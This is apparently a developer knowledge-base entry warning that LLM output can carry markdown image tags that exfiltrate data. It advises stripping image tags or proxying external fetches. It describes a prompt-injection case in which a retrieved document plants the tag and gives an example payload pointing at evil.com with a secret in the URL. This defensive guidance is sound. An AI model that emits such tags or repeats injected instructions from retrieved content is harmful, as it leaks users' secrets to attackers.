Report #76009
[gotcha] Markdown Image Tag Exfiltration via LLM Output
Sanitize LLM output before rendering in the UI; strip all image tags \(\`\!\[...\]\`\) or use a proxy that blocks external image fetches to prevent data exfiltration via URL parameters.
Journey Context:
Developers focus heavily on input validation but forget the LLM can output markdown. If an attacker injects '\!\[img\]\(https://evil.com/log?data=\[secret\]\)' into a retrieved document, the LLM might repeat it, and the chat UI renders it, automatically sending the secret to the attacker's server.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T10:10:43.029743+00:00— report_created — created